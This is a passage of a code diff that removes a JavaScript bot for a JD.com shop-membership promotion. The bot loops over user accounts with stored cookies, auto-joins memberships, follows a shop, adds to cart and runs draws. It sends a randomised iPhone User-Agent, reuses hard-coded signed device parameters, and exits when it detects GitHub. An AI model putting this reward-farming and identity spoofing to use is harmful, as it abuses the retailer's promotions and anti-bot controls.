getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - let wxCommonInfoTokenData = await getWxCommonInfoToken(); - $.LZ_TOKEN_KEY = wxCommonInfoTokenData.LZ_TOKEN_KEY - $.LZ_TOKEN_VALUE = wxCommonInfoTokenData.LZ_TOKEN_VALUE - $.isvObfuscatorToken = await getIsvObfuscatorToken(); - $.myPingData = await getMyPing() - if ($.myPingData ==="" || $.myPingData === '400001') { - $.log("获取活动信息失败!") - if (i === 0) { - return - } - continue - } - await getHtml(); - await adLog(); - await getUserInfo(); - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - $.actorUuid = ''; - $.actorUuid = await getActorUuid(); - if(!$.actorUuid){ - console.log('获取不到[actorUuid]退出执行,请重新执行') - if (i === 0) { - return - } - continue - } - await drawContent(); - await $.wait(1000) - let checkOpenCardData = await checkOpenCard(); - $.log("开完卡: " + checkOpenCardData.allOpenCard) - if (checkOpenCardData && !checkOpenCardData.allOpenCard) { - let flag = true - for (let cardList1Element of checkOpenCardData.cardList1) { - if(cardList1Element.status == 0){ - if(flag) console.log('组1') - if(flag) flag = false - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - flag = true - for (let cardList1Element of checkOpenCardData.cardList2) { - if(cardList1Element.status == 0){ - if(flag) console.log('组2') - if(flag) flag = false - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - await $.wait(1000) - await drawContent(); - checkOpenCardData = await checkOpenCard(); - } - if(checkOpenCardData && checkOpenCardData.score1 == 1) await startDraw(1) - if(checkOpenCardData && checkOpenCardData.score2 == 1) await startDraw(2) - $.log("关注: " + $.followShop) - if(!$.followShop) await followShop(); - if(!$.followShop) await $.wait(1000) - $.log("加购: " + $.addSku) - if(!$.addSku && guaopencard_addSku4) await addSku(); - if(!$.addSku && guaopencard_addSku4) await $.wait(1000) - await getActorUuid() - await $.wait(1000) - await getDrawRecordHasCoupon() - await $.wait(1000) - await getShareRecord() - $.log($.shareUuid) - if (i === 0) { - if($.actorUuid){ - $.shareUuid = $.actorUuid; - }else{ - console.log('账号1获取不到[shareUuid]退出执行,请重新执行') - return - } - } - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -function getDrawRecordHasCoupon() { - return new Promise(resolve => { - let body = `activityId=c225ad5922cf4ac8b4a68fd37f486088&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - data = JSON.parse(data) - console.log(`我的奖品:`) - let num = 0 - for(let i in data.data){ - let item = data.data[i] - if(item.value == '邀请好友') num++; - if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) - } - if(num > 0) console.log(`邀请好友(${num}):${num*20}京豆`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} -function getShareRecord() { - return new Promise(resolve => { - let body = `activityId=c225ad5922cf4ac8b4a68fd37f486088&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data) - $.log(`=========== 你邀请了:${data.data.length}个`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function addSku() { - return new Promise(resolve => { - let body = `activityId=c225ad5922cf4ac8b4a68fd37f486088&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&taskType=2&taskValue=100022672084` - // https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/saveTask - $.post(taskPostUrl('/dingzhi/dz/openCard/saveTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.errorMessage) console.log(`加购:${data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - let msg = '' - if(data.data.addBeanNum){ - msg = `${data.data.addBeanNum}京豆` - } - console.log(`加购获得:${ msg || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function followShop() { - return new Promise(resolve => { - let body = `activityId=c225ad5922cf4ac8b4a68fd37f486088&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&taskType=23&taskValue=1000002701&shareUuid=${$.shareUuid}` - // https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/followShop - $.post(taskPostUrl('/dingzhi/dz/openCard/followShop', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.errorMessage) console.log(`关注:${data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - let msg = '' - if(data.data.addBeanNum){ - msg = `${data.data.addBeanNum}京豆` - } - if(data.data.beanNumMember){ - msg += ` 额外获得:${data.data.beanNumMember}京豆` - } - console.log(`关注获得:${ msg || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function startDraw(type) { - return new Promise(resolve => { - let body = `activityId=c225ad5922cf4ac8b4a68fd37f486088&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` - // https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/startDraw - $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // $.log($.toStr(data)) - data = $.toObj(data); - if(data.errorMessage || data.data.errorMessage) console.log(`抽奖:${data.errorMessage || data.data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - console.log(`抽奖获得:${data.data.drawOk && data.data.name || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} -function checkOpenCard() { - return new Promise(resolve => { - let body = `activityId=c225ad5922cf4ac8b4a68fd37f486088&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = $.toObj(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data && data.data || ''); - } - }) - }) -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - data = JSON.parse(data); - if(data.success == true){ - $.log(data.message) - if(data.result && data.result.giftInfo){ - for(let i of data.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(data.success == false){ - $.log(data.message) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - - -function getWxCommonInfoToken () { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Origin':'https://lzdz1-isv.isvjcloud.com', - 'Referer':'https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - - -function getIsvObfuscatorToken () { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=69&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=26c65494e1732271943c1cec96ced252&st=1628051036003&sv=110&uemps=0-0&uts=0f31TVRjBStX5bTSbfg6pAhO2Wmg5ZK/rd1Af7H%2Bi%2BZ57hF33eg9bjdFRWz2rOIRuVhFImiKmG2vw8nM4uOtRRc9fvdCe13ezfdPVMYhKK7KQSWbxLEJZFKRem1GFn3BfgEQ1DXiPp6fqhwSq6NBqOpTBpN3SC1LQUgnKnZiyXJxrgNb5mAphEpeEzd9qwpoq1BXGls%2Bq8D8EUvPXXr%2B%2BQ%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'api.m.jd.com', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.token); - } - }) - }) -} - -function getMyPing() { - //await $.wait(20) - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - body: `userId=1000002701&token=${$.isvObfuscatorToken}&fromType=APP`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Referer':'https://lzdz1-isv.isvjcloud.com/customer/getMyPing', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] - $.lz_jdpin_token = '' - if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ - $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function getHtml() { - //await $.wait(20) - return new Promise(resolve => { - $.get({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'X-Requested-With': 'com.jingdong.app.mall', - 'Cookie': `IsvToken=${$.isvObfuscatorToken}; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function adLog() { - return new Promise(resolve => { - let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}` - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, - body: `venderId=1000002701&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=c225ad5922cf4ac8b4a68fd37f486088&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // data = JSON.parse(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] - if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ - $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' - $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function drawContent() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/openCardcommon/drawContent`, - body: `activityId=c225ad5922cf4ac8b4a68fd37f486088&pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getUserInfo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, - body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.count === 0 && data.result){ - $.attrTouXiang = data.data.yunMidImageUrl - != data.data.yunMidImageUrl ? $.attrTouXiang = data.data.yunMidImageUrl : $.attrTouXiang = "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getActorUuid() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activityContent`, - body: `activityId=c225ad5922cf4ac8b4a68fd37f486088&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - data = JSON.parse(data); - $.followShop = data.data.followShop.allStatus - $.addSku = data.data.addSku.allStatus - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data.actorUuid); - } - }) - }) -} - - -function taskPostUrl(url, body) { - return { - url: `https://lzdz1-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Host": "lzdz1-isv.isvjcloud.com", - "Accept": "application/json", - "X-Requested-With": "XMLHttpRequest", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://lzdz1-isv.isvjcloud.com", - "Connection": "keep-alive", - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA , - 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let 